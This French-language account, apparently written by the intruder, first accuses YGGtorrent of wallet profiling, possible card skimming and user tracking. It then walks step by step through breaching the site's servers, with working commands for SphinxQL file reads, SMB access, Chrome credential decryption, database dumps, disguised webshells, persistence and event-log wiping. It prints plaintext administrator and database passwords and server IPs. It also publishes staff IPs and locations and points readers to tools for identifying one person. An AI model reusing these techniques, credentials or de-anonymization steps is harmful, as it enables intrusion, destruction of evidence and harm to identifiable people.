Un script sci.js s'exécute dans votre navigateur à chaque visite. Déguisé en ImageCarouselManager (une classe carousel factice de 213 lignes, jamais instanciée), il scanne la présence de wallets crypto : Phantom (Solana), MetaMask (Ethereum), Trust Wallet, Coinbase Wallet, WalletConnect.

Si un wallet est détecté, les informations sont envoyées au backend via Web3stats.php (controller CodeIgniter, clé d'accès d3ShGIbbX3). La fonction collect() stocke le type de wallet, le user-agent, l'IP et le session_id. Tableau de bord accessible à /web3stats?key=d3ShGIbbX3.

Le script ne vole rien directement. Il identifie, parmi les 6,6 millions d'utilisateurs, lesquels possèdent un wallet crypto et lequel.

// sci.js — detection de wallets (lignes 443-489)

const isPhantomInstalled = window.phantom?.solana?.isPhantom;
const provider = window.ethereum || window.web3?.currentProvider;

if (isPhantomInstalled || provider) {
    const walletType = isPhantomInstalled
        ? 'Phantom'
        : detectWalletType(provider);
    await sendWeb3Info(walletType);  // POST → /web3stats/collect
}

function detectWalletType(provider) {
    const walletTypes = {
        isPhantom: 'Phantom',
        isMetaMask: 'MetaMask',
        isTrust: 'Trust Wallet',
        isCoinbaseWallet: 'Coinbase Wallet',
        isWalletConnect: 'WalletConnect'
    };
    return Object.entries(walletTypes)
        .find(([key]) => provider[key])?.[1] || 'Unknown Wallet';
}

Suspicion de skimming bancaire — Security.php

Un controller CodeIgniter de 1,6 Ko, présent dans le code de production, reçoit le numéro de carte complet (PAN), le CVV, la date d'expiration et le nom du titulaire via POST. Les données sont relayées vers un processeur de paiement (Singularity) via un formulaire caché auto-soumis, mais elles transitent d'abord en clair par le serveur YGG. Destroy aurait donc eu accès à l'intégralité des numéros de carte de ses utilisateurs.

Pourquoi faire transiter des données bancaires par son propre serveur quand le processeur de paiement propose un checkout hébergé ? Pourquoi rediriger silencieusement vers google.com quand le token de commande est invalide (technique classique d'anti-analyse) ? Pourquoi un formulaire caché auto-soumis plutôt qu'un appel API côté serveur ?

Je ne peux pas affirmer avec certitude que ce fichier a été utilisé pour du skimming. Mais sa présence dans le code de production, combinée aux nombreux témoignages de fraudes bancaires sur Reddit après des paiements sur YGG, pose des questions auxquelles tu devrais répondre, Destroy.

"Après avoir payé du free leech la semaine dernière par PayPal, aujourd'hui 4000E de matériel de son ont été commandé chez Thomann et livré à une boutique inexistante du 93 sous le nom de Kevin. Ce PayPal n'avait pas été utilisé depuis plus d'un an sauf pour YGG." — u/TatonTatonne, octobre 2024

Honeypot anti "bypass" — modal.min.js

Un script chargé sur toutes les pages, renommé pour passer inaperçu. L'historique PowerShell du serveur de pré-production montre :

Rename-Item -Path "assets\js\security.min.js" -NewName "modal.min.js"

Le contenu est obfusqué en base64 :

var _c=[atob('LnlnZ3NlYXJjaC1hcGktYnRu'),atob('L2VuZ2luZS9nbQ==')];
// decode : selecteur = '.yggsearch-api-btn', endpoint = '/engine/gm'

Le script attend 2,5 secondes, puis cherche un élément .yggsearch-api-btn dans la page, une classe injectée par l'extension navigateur YGGMollo. Si l'élément est détecté, un formulaire caché soumet un POST silencieux vers /engine/gm. Le commentaire dans le code serveur dit tout : gm = get modal (nom anodin).

Côté serveur, /engine/gm log le user ID, le pseudo et l'IP dans extension_users.txt, puis ban définitivement le compte sans avertissement (sanction_5: "oo" = ban permanent). L'utilisateur découvre qu'il est banni après coup.

YGGMollo est une extension Chrome qui ajoutait un bouton pour contourner la limite de 5 téléchargements/jour du Turbo Mode. Publiée le 24 décembre 2025, elle a été massivement adoptée. Dès le lendemain, les bans tombent :

"YGG banit les compte qui utilise l'extension. Supprimez la directement !!!! Désolé si vous avez été banni" — u/amottier, créateur de YGGMollo, 25 décembre 2025

"Compte secondaire banni à cause de yggmollo" — u/Ill_Ebb2046

"j'ai perdu mon compte avec des terras de up mais c'est le jeu" — u/tatetlours

Le fichier extension_users.txt retrouvé sur le serveur contient les logs de ce mécanisme : user ID, pseudos et IPs réelles de 13+ utilisateurs piégés.

Tracking de masse — scooby.csv

Un fichier CSV de 259 Mo sans en-tête, 4 173 645 lignes, couvrant 12 mois de collecte (septembre 2024 à septembre 2025). Chaque ligne enregistre un évènement de navigation : user_id, timezone, langues_navigateur, timestamp.

543 448 utilisateurs distincts sont trackés. Le fuseau horaire révèle la localisation géographique : 64,9% sous Europe/Paris, puis Bruxelles, Toronto, Zurich, Casablanca. Les langues du navigateur ne sont pas un simple "fr" : c'est la liste complète Accept-Language, par exemple fr-FR,es-CO,es,en-GB,fr,en-US,en, une combinaison quasi unique par utilisateur.

Le même user_id apparaît plusieurs fois par session, à quelques secondes d'intervalle. Ce n'est pas un compteur de visites : c'est un journal de navigation qui révèle les habitudes, les horaires de connexion et le rythme de lecture de chaque utilisateur.

Beaucoup de sites font du tracking, me direz-vous. Mais un site de torrent ? Surtout quand on sait que ces données peuvent être recoupées avec les numéros de cartes bancaires, les wallets crypto ou les comptes PayPal déjà collectés par la même infrastructure.

Le réseau de comptes d'Oracle

L'analyse croisée des IPs (xf_ip, 4,5 millions d'entrées) révèle qu'Oracle contrôle un plusieurs comptes :

• Kono_yaro ([email protected]) — Administrateur du serveur de pré-production (188.253.108.198, Windows Server 2019, XAMPP), responsable de 423 commandes de test pour 16 506 euros sur tous les processeurs de paiement. 11 IPs VPN partagées avec Oracle, avec des connexions sur la même IP à 1 minute d'intervalle le 2 août 2025.
• Horace ([email protected]) — Forum ID 34042, créé juste après Oracle (34041). Même IP résidentielle marocaine (41.140.98.215, Maroc Telecom) le 14 février 2019.

Note : je ne vais pas afficher d'identité civile ici. Les données techniques (IPs, emails) ne mentent pas, mais mettre un visage sur quelqu'un, s'il y a le moindre doute, c'est non. Pour ceux qui veulent creuser : tapez l'IP 41.140.98.215 sur Dehashed, intéressez-vous à l'adresse email d'un certain "Amine", puis passez-la sur OSINT Industries. Tirez vos propres conclusions. (Cette IP peut être une adresse mobile 4G, potentiellement partagée par plusieurs personnes sans lien entre elles, d'où ma prudence.)

• Support ([email protected]) — Même IP marocaine que Horace, même jour. Compte système pour les donations.
• Will-King ([email protected]) — Partage l'IP VPN 38.240.34.194 (M247) avec Oracle (49 connexions). Promu Super Admin forum en septembre 2025, 0 message envoyé, 0 action de modération.

L'IP marocaine partagée par Horace et Support en février 2019, au moment de la création du forum, situe Oracle au Maroc à cette époque. Aucune IP résidentielle n'a fuité depuis, il opère exclusivement via Mullvad, M247 et LeaseWeb.

Géolocalisation du staff

La table xf_ip du forum enregistre chaque connexion avec l'adresse IP. En croisant avec les plages résidentielles des FAI français et belges, on localise la majorité du staff :

Nephthys se distingue par un OPSEC parfait : pas une seule IP résidentielle en 7 ans d'activité, et des connexions exclusivement nocturnes (23h-3h UTC), ce qui suggère un fuseau horaire nord-américain.

Bar666 et Liberta2 ont déclaré des pays fictifs (Suisse et Belgique) sur leur profil tracker. Leurs IPs les trahissent : tous deux sont en France.

Chronologie du staff

La colonne join_date de la table users montre trois phases de recrutement :

• Juillet 2017 — Fondation : 9 membres recrutés le même mois (Mrikkk, Storm, Elmacho, EpicSnoopy, Dom0552, Oracle, Bar666, Support, Xavous). Parmi eux, 4 sont aujourd'hui quasi-inactifs.
• 2017-2020 — Expansion lente : un recrutement tous les quelques mois (Liberta2, Akadokk, XXxMichouxXx, Nephthys, Neo1979, Kiroukou1972, Macha64).
• 2025-2026 — Accélération : 5 nouveaux en 6 mois (Popolqc69, Akatsuki_Team, Will-King, Lartupload, Kirito19), coïncidant avec le lancement du Turbo Mode et la charge de travail accrue qu'il implique.

Synthèse chiffrée

Les preuves techniques (code source, bases de données, configurations serveur, logs PowerShell, plugins de paiement) sont disponibles pour vérification indépendante.

Le hack

Honnêtement si vous êtes arrivé jusqu'ici, vous avez déjà l'essentiel. Ce qui suit peut être considéré comme une sorte "d'annexe technique". C'est là pour ceux que ça intéresse, et pour que n'importe qui puisse comprendre la façon dont ont été obtenues les données. C'est pas spécialement un hack "complexe", pas d'exploitation avancée via des 0day et compagnie mais plutôt une simple erreur de configuration de la part de Destroy, qui va provoquer toute une réaction en chaîne et permettre une latéralisation sur tous les serveurs de YGG.

Phase 1 — Reconnaissance

Le favicon hash

Point de départ : le favicon du site yggtorrent. Chaque icône a une empreinte numérique unique. Si on calcule le hash de celle de YGG et qu'on le cherche dans Shodan, l'IP du serveur de pré-prod apparaît :

http.favicon.hash:456260082

Résultat : 188.253.108.198, un serveur Windows hébergé sur une VM Hyper-V.

Scan Nmap

13 ports ouverts.

13 ports ouverts sur un serveur Windows, dont SMB, RDP, MySQL, Redis et SphinxQL. Pas de filtrage visible, le firewall est probablement désactivé.

Phase 2 — Le directory listing

Le port 443 sert le DocumentRoot Apache avec le directory listing actif. L'intégralité de l'arborescence web est listable publiquement. Pour info il s'agit du projet de developpement de la future API officielle d'YGGtorrent, en cours de developpement donc :

/ (directory listing)
|-- ygg/         → Application CodeIgniter (PHP)
|-- ygg-api/     → API Express.js — CODE SOURCE COMPLET EXPOSE
|   |-- .env                 ← Secrets en clair
|   |-- src/                 ← Code source complet
|   |-- package.json
|   |-- database_setup.sql
|   |-- YGG_API.postman_collection.json
|-- yggtpl/      → Templates frontend (HTML/Tailwind)

Le fichier .env de l'API Express.js contient :

DB_HOST=localhost
DB_USER=root
DB_PASSWORD=          (vide)
DB_NAME=ygg
DB_PORT=3306
JWT_SECRET=changez_cette_clé_secrète_en_production_2026
SECRET_KEY="hAb0xu&#O2pYevZ65Rid9NuhC09WD8"
CORS_ORIGIN=*

Root sans mot de passe. JWT secret par défaut. CORS wildcard. Le code source complet de ce projet d'API "YGG API" est téléchargeable en quelques secondes : 28 fichiers, controllers, routes, middlewares, services, collection Postman.

Phase 3 — L'impasse

Le port 80 sert une copie fonctionnelle de YGG, l'instance de pré-production, avec le même code CodeIgniter, une base de données locale de test, le même formulaire de login. Pour l'instant, toutes les tentatives d'exploitation directe échouent :

L'instance de pré-prod est une copie quasi fidèle du site en production et le code CodeIgniter est relativement bien sécurisé. L'API exposée "YGG-API" ne mène nulle part sans accès au port interne. Impasse via le web mais cela permet quand même de mieux se rendre compte de ce qui tourne sur le serveur. D'ailleurs, les tentatives d'exploitation sur le prochain service vont être déterminantes.

Phase 4 — SphinxQL, la porte ouverte

Le scan de ports a révélé le service SphinxQL sur le port 9306. Sphinx Search est un moteur de recherche full-text qui utilise un protocole compatible MySQL. Sur ce serveur, il est accessible depuis Internet sans aucune authentification :

mysql -h 188.253.108.198 -P 9306
# Connexion immédiate, aucun identifiant requis

Enumeration des index Sphinx :

Deux comptes découverts :

Pour rappel on est sur une instance du tracker YGG en "local" qui fonctionne comme la version en production. Brute-force des mots de passe via l'interface web : échec.

Bon un moteur de recherche accessible sans authentification, c'est déjà un problème. Mais SphinxQL supporte nativement la lecture de fichiers locaux via CALL SNIPPETS, une fonctionnalité prévue pour l'indexation. Quand le service tourne avec des privilèges élevés et qu'il est exposé à Internet sans restrictions, ça revient à donner un accès en lecture sur tout le disque à n'importe qui.

Phase 5 — Lecture arbitraire de fichiers

La primitive

La fonctionnalité CALL SNIPPETS de SphinxQL, combinée au paramètre load_files=1, permet de lire le contenu de n'importe quel fichier texte sur le serveur :

CALL SNIPPETS(
    'C:/chemin/vers/fichier',
    'users',
    'mot_cle',
    1 AS load_files,
    50000 AS around,
    0 AS limit
);

Le service tourne avec des privilèges suffisants pour lire l'ensemble du filesystem. Le contenu du fichier est retourné avec le mot-clé en surbrillance HTML. Limitations : fichiers binaires illisibles, pas de listing de répertoires, pas d'écriture.

Fichiers lus

12 fichiers de configuration extraits en quelques minutes :

Secrets extraits

Tentative d'exécution de code

CREATE FUNCTION test RETURNS INT SONAME 'test.dll';
-- dlopen() failed: The specified module could not be found

Le chargement de DLL UDF est supporté par Sphinx, mais les délimiteurs de chemin sont bloqués dans SONAME. Sans moyen d'écriture de fichier dans C:/sphinx/bin/plugins/, pas de RCE via cette voie.

Mais la lecture de fichiers suffit. Il y a un fichier très particulier sur les installations Windows automatisées.

Phase 6 — Security epic fail

sysprep_unattend.xml

Sur les serveurs Windows déployés automatiquement, le fichier sysprep_unattend.xml contient les paramètres d'installation, y compris, parfois, le mot de passe administrateur. Ce fichier aurait dû être supprimé après le déploiement. Il ne l'a pas été.

CALL SNIPPETS(
    'C:/Windows/Panther/Unattend/sysprep_unattend.xml',
    'users',
    'password',
    1 AS load_files,
    50000 AS around,
    0 AS limit
);

Résultat :

<AutoLogon>
    <Username>Administrator</Username>
    <Password>
        <Value>&amp;)d(5Hj46B7h5^fQF^c(yKYRP</Value>
        <PlainText>true</PlainText>
    </Password>
</AutoLogon>

Le mot de passe administrateur du serveur. En clair. Dans un fichier que n'importe qui pouvait lire via SphinxQL.

La partie "hack" est terminée. Tout ce qui suit est de la post-exploitation.

Phase 7 — Accès total

SMB C$

smbclient //188.253.108.198/C$ \
    -U 'Administrator%&)d(5Hj46B7h5^fQF^c(yKYRP' \
    --option='client min protocol=SMB2'

Accès confirmé. Lecture et écriture sur l'intégralité du disque C: du serveur Windows. RDP et WinRM également fonctionnels.

À partir de là, accès complet au serveur de pré-prod de YGGtorrent, celui où tout le code est testé avant déploiement en production.

Les logs systeme confirment ce que le scan nmap laissait deviner :

• Windows Firewall désactivé (Private et Public OFF)
• Windows Defender absent ou désactivé
• 50 tentatives de login échouées en 2 minutes, provenant de 21 IPs uniques, un botnet brute-force permanent sur cette machine
• 6 IPs VPN/proxy différentes connectées en RDP entre le 15 et le 21 février, toutes en tant qu'Administrator
• Une session RDP active depuis 146.59.181.110 (OVH) au moment du scan initial (découverte étrange puisqu'après quelques scan il s'agirait d'un serveur appartenant à agralis.fr. J'ai pas cherché plus loin que ça)

Phase 8 — Exfiltration

10 sessions SMB parallèles. 823 fichiers. 2.4 GB. Exfiltration systématique :

Les credentials de la base de production sont dans la configuration : 212.8.249.144, root/Ay4SDNwDvrd83qz2zVa5uCr, databases yggis + ygg_xenforo.

Mais les fichiers les plus précieux sont dans le profil Chrome (et Brave) de Destroy.

Phase 9 — Le navigateur de Destroy

Déchiffrement DPAPI

À ce stade, on dispose d'un accès Administrator sur la machine de pré-prod et pas mal d'informations ont déjà été collectées. Trop tôt pour tenter une latéralisation, mais on sait que Destroy utilise cette machine littéralement comme son PC de bureau. Pertinent, donc, de s'intéresser aux mots de passe sauvegardés dans son navigateur. Chrome v80+ chiffre les identifiants avec AES-256-GCM, la clé étant dérivée via DPAPI et protégée par le compte Windows. Avec le mot de passe Administrator récupéré précédemment, le pipeline de déchiffrement est direct :

1. Extraction de la clé chiffrée depuis Local State
2. Déchiffrement DPAPI avec les master keys SID-500
3. Déchiffrement AES de chaque entrée du Login Data SQLite

Résultat : des centaines de mots de passe sauvegardés, exchanges crypto, fournisseurs email, panel d'hébergement, forums underground.

Cookies de session

Même processus pour les cookies. Tokens de session actifs pour des dizaines de services :

• .lolz.live — forum cybercrime russe
• .stresscat.ru — service DDoS
• .paypal.com, .proton.me
• njal.la — registrar anonyme
• veesp.com — hébergeur bulletproof

Phase 11 — Pivots latéraux

FileZilla : la carte vers d'autres serveurs

Pour ce qui est de la latéralisation, il n'a pas fallu chercher très loin finalement... Les credentials SFTP stockées en clair dans recentservers.xml de FileZilla ouvrent la porte à d'autres machines :

Phase 12 — Le serveur tracker (62.112.11.32)

NLDW2-GT18 — CentOS/RHEL, uptime 221 jours. Le serveur d'infrastructure XBT Tracker, la colonne vertébrale de YGG.

Le compte usracct est dans les groupes root et wheel. sudo fonctionne avec le même mot de passe que SSH.

Accès root.

Découvertes

• 4 versions du code source XBT Tracker (développement actif)
• Dump MySQL de 20 GB (yggis.sql) — la base de données complète de la plateforme
• Frontend PHP custom avec Engine.php (59 000 lignes)
• Scripts de défense DDoS custom (autoban.sh, ddos.sh, checker.sh)

Pivot vers la base de production (212.8.249.144)

Le fichier /root/.my.cnf du tracker contient les credentials MySQL du serveur de production : 212.8.249.144, root/Ay4SDNwDvrd83qz2zVa5uCr. Ce serveur n'est pas accessible depuis Internet, uniquement depuis les machines de l'infrastructure interne.

mysql -h 212.8.249.144 -u root -p 'Ay4SDNwDvrd83qz2zVa5uCr' -e "SELECT COUNT(*) FROM yggis.users;"
# 6 629 484

La base yggis contient la totalité des données de la plateforme : 6.6 millions de comptes (emails, hashes de mots de passe SHA-512, IPs, historiques), un million de torrents, 28 millions de peers, 250 000 commandes de paiement. Une deuxième base ygg_xenforo contient le forum XenForo.

Dumps complets depuis le tracker :

~16.6 GB exfiltrés depuis ce serveur (5.8 GB de fichiers tracker + 10.8 GB de dumps base de production).

Phase 13 — Le serveur web (185.132.134.125)

NLDW3-2-14-43 — Ubuntu, hébergé par WorldStream à Rotterdam. Deux comptes fonctionnels : ygg (standard) et rakaxa (propriétaire du site WordPress).

CloudPanel v2.5.2

Panneau de gestion serveur exposé sur le port 8443. Vulnérable à :

• CVE-2024-44765 : modification des configs vhost nginx pour fuiter .env, base SQLite, /etc/shadow, clés SSH
• Escalade PHP-FPM : FastCGI sur 127.0.0.1:8787 sans contrôle d'accès, utilisateur clp avec sudo NOPASSWD

FastCGI cross-user

CloudPanel expose des ports FastCGI internes sans contrôle d'accès. Depuis le compte ygg, on peut exécuter du code PHP en tant que n'importe quel autre utilisateur du serveur :

Un script FastCGI minimal suffit pour obtenir l'exécution de code dans le contexte de chaque site — et donc l'accès à leurs bases de données respectives.

Les boutiques WooCommerce

Le serveur héberge trois sites WooCommerce sous CloudPanel :

La boutique principale (secure.yggboutique.com) contient les noms complets, emails, adresses postales et détails de commandes de dizaines de milliers de clients.

Exfiltration depuis 185.132

Dump des trois bases MySQL et extraction des fichiers de configuration :

Phase 14 — Persistence

188.253.108.198 — Compte backup + webshell

Sur le serveur principal, deux mécanismes de persistance :

Compte svcMonitor — un compte administrateur local nommé pour ressembler à un service de monitoring Windows. Mot de passe fort, membre du groupe Administrators. Un second chemin d'accès en cas de changement du mot de passe Administrator.

Webshell health.php — déployé dans le répertoire XAMPP, authentifié par paramètre GET. Un POST avec la commande en paramètre retourne le résultat. Sans le bon paramètre, le fichier retourne une page vide banale. Le webshell tourne en tant qu'Administrator.

62.112.11.32 — Clé SSH root

Keypair ed25519 déployée dans /root/.ssh/authorized_keys. PermitRootLogin passé de no à prohibit-password, sshd rechargé. Accès root permanent, brute-force toujours bloqué.

185.132.134.125 — Webshell WordPress

Le nginx fastcgi_cache rendait les injections dans les fichiers core WordPress inefficaces — les pages cachées étaient servies sans invoquer PHP.

Solution : un fichier PHP standalone dans wp-includes/.

class-wp-cache-validator.php — nommé pour se fondre dans les fichiers core WordPress, timestamp aligné avec les fichiers voisins. Authentification par HMAC-SHA256 :

CMD="id"
CMD_B64=$(echo -n "$CMD" | base64)
SECRET=$(cat .wp_shell_secret)
HMAC=$(echo -n "$CMD_B64" | openssl dgst -sha256 -hmac "$SECRET" | awk '{print $2}')
curl -sk https://rakaxa.net/wp-includes/class-wp-cache-validator.php \
  -H "X-Elementor-Nonce: $CMD_B64" \
  -H "X-Elementor-Cache: $HMAC"
# uid=1004(rakaxa) gid=1005(rakaxa) groups=1005(rakaxa)

Sans les headers valides, le fichier retourne un 404 standard.

Phase 15 — Effacement des traces

Après l'exfiltration et le déploiement des persistances, nettoyage du serveur de pré-prod :

Outils supprimés

ChromeDecrypt et tous les fichiers associés supprimés de C:\Temp.

Journaux Windows vidés

for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

7 fichiers .evtx (47 MB total) — Security, System, Application, PowerShell, TerminalServices — tous vidés.

Logs purgés

Traces utilisateur

PowerShell history (443 lignes), fichiers récents, Jump Lists, CBS logs, Windows Error Reporting, tout purgé.

Tous les fichiers avaient été exfiltrés avant leur suppression.

Bilan

La chaîne complète

Un favicon hash dans Shodan
    → un service Sphinx mal configuré
        → lecture de fichiers arbitraire
            → mot de passe admin dans sysprep
                → accès complet au serveur Windows
                    → Chrome = coffre-fort de credentials
                        → FileZilla = carte vers d'autres serveurs
                        │   → tracker XBT = accès root
                        │       → pivot MySQL = base de production
                        │           → 4 serveurs compromis, ~6.6M comptes
                        → cookies/passwords = comptes externes
                            → Njalla, Protonmail, hébergeurs, paiements
                                → wipe total + defacement + verrouillage
                                    → YGG est mort

Les chiffres

Vulnérabilités exploitées

Libération du catalogue

Afin d'assurer la préservation et la continuité du catalogue de YGG, le tracker a été intégralement cloné pour que tout le monde puisse continuer d'accéder aux contenus. L'équipe du projet U2P (Utopeer) a ensuite mis en place un indexer permettant de parcourir et télécharger les torrents librement, sans compte ni restriction. La migration vers la nouvelle liste de trackers est en cours : ygg.gratis.